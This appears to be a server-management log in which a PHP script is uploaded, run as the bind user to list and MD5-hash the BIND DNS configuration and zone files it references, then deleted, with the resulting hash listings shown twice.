MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:19:55: Establishing a connection
2026-04-23 13:19:55: 

PUT: /tmp/pkp180242

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:19:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp180242; rm /tmp/pkp180242'

2026-04-23 13:19:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:22:45: Establishing a connection
2026-04-23 13:22:46: 

PUT: /tmp/pkp308465

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:22:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp308465; rm /tmp/pkp308465'

2026-04-23 13:22:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
